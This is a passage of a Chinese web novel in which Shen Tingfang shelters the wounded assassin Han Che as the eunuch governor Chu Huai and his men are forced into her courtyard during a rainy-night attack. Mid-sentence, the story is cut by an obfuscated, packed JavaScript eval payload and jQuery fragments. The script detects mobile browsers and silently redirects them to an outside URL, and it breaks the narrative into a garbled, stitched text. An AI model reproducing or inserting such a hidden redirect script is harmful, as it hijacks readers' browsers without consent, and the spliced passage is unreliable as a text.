沈庭芳的脸愈发烫了。
她强撑着啐了韩彻一口。
“你又不是大姑娘家,你的身子还不能看了?我不给你脱衣裳,怎么给你治伤?放心吧,我……我没给你脱裤子。”
她越说越羞窘,一双眼睛四处乱瞟,就是不敢看韩彻。
听着身后有动静,她才赶紧回头。
韩彻已经起身了。
“你快躺下!你身上还有伤呢,得好生养着才行。”
韩彻冷着脸摇头:“他还会回来的,我不能留在这儿。”
留在这儿,就会连累沈庭芳。
“下雨了,兴许他会在雨停之后再回来。”
她假意推开门看看外头的天。
“这雨一时半会儿停不下来,你睡吧,一会儿我叫你,好歹等雨停了再走。”
韩彻却很固执:“你不了解那个阉狗,他心狠手辣,生性多疑……”
话还没说完,瞅见沈庭芳面色苍白,身子微微颤动,韩彻便忙问道:“怎么了?是我吓着你了?”
沈庭芳咬着唇摇头。
她只是又想到了那个充满血腥味的石头屋子。
“姑娘!”
地锦在外面敲门,沈庭芳忙去开门。
地锦站在廊子下,面色苍白。
“姑娘仔细听,有没有听见什么动静?”
雨声嘈杂,雷声滚滚。
电闪雷鸣的间隙中,好似传来一阵呼喝。
沈庭芳听不真切,韩彻却捂着伤口下了榻。
“是兵器交接的声音,有人打起来了。”
他一靠近,沈庭芳就闻到了一股血腥味儿。
“你快回去躺着,我去瞧瞧怎么一回事,若是真的打起来了,你就不用走了。”
能跟楚怀的人打起来的,来路不简单啊。
沈庭芳又扫了韩彻一眼。
韩彻是顾侯的人。
他刺杀楚怀,难道是顾侯的主意?
上一世,韩彻是不是也刺杀过楚怀?
没有她帮忙,韩彻大概露了行踪,被楚怀察觉。
等太子登基之后,第一个要的便是顾侯的性命,韩彻也在那个时候销声匿迹。
可楚怀来宁海城做什么?
他有没有盯上沈家?
沈庭芳不禁担心起她爹来。
“你别去。”
见她撑起了伞,韩彻便拽住了她的袖子。
“刀剑无眼,你这会儿过去,容易受伤,更何况,楚怀疑心重,若是叫他瞧见了你,事后必定会审你,还是待在屋子里吧。”
沈庭芳悬着一颗心,她叫地锦去把院子的门闩上,又撑着伞,围着小院子走了一圈,看看有没有藏身的地方。
“你回来吧。”
韩彻倚着门框立着,瞅着她笑。
好像在笑话她蠢。
“楚怀真来了,我就从后窗翻出去,再从后墙翻到隔壁的院子里。”
这会儿下雨,就是老天爷在帮他。
大雨会冲刷掉痕迹,掩盖声音。
黑夜里轻巧地翻个墙,应该不会叫人发现。
沈庭芳说得对,他身上的伤太重了,是需要好好歇着。
他安稳地睡在榻上,沈庭芳就搬了一把凳子,把屋门关上,和地锦守在廊子下看雨。
那兵器交接、呼喝斥骂的动静越来越响亮,好似就在小跨院外。
主仆二人都揪着心,生怕那群人再闯进来。
可越是怕什么,就越是来什么。
一声惊雷炸响,小院的门忽然被踹开。
几个人护着楚怀,退守小跨院。
惊得沈庭芳浑身绵软,扶着椅子站了几次,才勉强站起。
“沈姑娘,”楚怀扭头望了她一眼,嘴角的笑容十分亲和,“今夜怕是要扰姑娘清梦了。”
沈庭芳结结巴巴说了一句不打扰,身子却挡在了门前。
楚怀蹙了蹙眉,盯着她身后的门看了看。
“下这么大的雨,又是夜半时分,沈姑娘不进去,在外头做什么?”
院子外,那打斗声越来越近。
跟戏台子上的锣鼓点一样,催得人心发慌。
沈庭芳紧紧掐住手心。
她听见自己的声音冷静得出奇。
“方才闹腾了一阵子,我睡不着,恰逢下雨,就和丫头出来一边赏雨,一边等天亮,天一亮,我就要下山去找我爹。”
她意味深长地盯着楚怀,杏眼里波光楚楚。
仔细一看,却闪烁着倔强。
“我爹就住在山脚的落霞山庄,都督上山时,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160755|196597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一定去过我家的庄子,我爹受了伤,可受不得惊扰。”
楚怀收回了视线。
“放心,本都督的人从不扰民。”
打斗声已经到了门外。
一个随从紧张地道:“都督,今日来刺杀都督的人一个接一个,先前那个刺客,恐怕是故意逃进这寺庙,就是想把都督引过来,将都督困在这里!”
楚怀沉默片刻,忽然笑着问沈庭芳。
“这院子里可有藏身的地方?”
他长得太好看了,笑容又实在是温和可亲。
勾唇微笑,便漂亮得不成样子。
沈庭芳有一瞬间的恍惚。
这么好看的人,手上怎会沾染那么多忠良的鲜血?
“院子就这么大,哪里有藏身的地方呢?”
她的心提到了嗓子眼中。
楚怀如今是泥菩萨过江,自身难保,难道还想着要搜查这间小小的跨院?
疯了吧!
“没有么?”
楚怀再次看向屋门,随即就轻叹一声,惋惜地摇摇头。
“那可有梯子?”
沈庭芳越发疑惑。
楚怀大概是真的疯了。
“都督想要梯子,只能去跟知客僧借,这间小跨院是客舍,怎么会有梯子。”
楚怀叹气。
“这可如何是好?一会儿那些匪徒闯进来,沈姑娘无处可躲,又无法借助梯子翻墙,怕是要被本都督连累了。”
他这么一提醒,沈庭芳的脸色就发白。
那些想要刺杀楚怀的人,到底是敌是友?
如果是顾侯的人,韩彻兴许会为她求情,可也保不准顾侯会**灭口。
倘若不是顾侯的人,那群人杀了楚怀,一时兴起,把她和韩彻地锦一起杀了怎么办?
见沈庭芳怕了,楚怀便又笑了。
他跟逗小猫一样逗弄着沈庭芳。
“别怕,他们要是真的闯进来了,我会把你丢出墙,至于会不会摔死,又会不会摔断腿,就要看你的运气了。”
话音才落,小院门猛地被踹开,几个浑身是血的人拿着刀闯进跨院。
“楚怀!”
为首的矮子大喝一声。
“你这个阉狗!老子要杀了你,为南越王报仇!”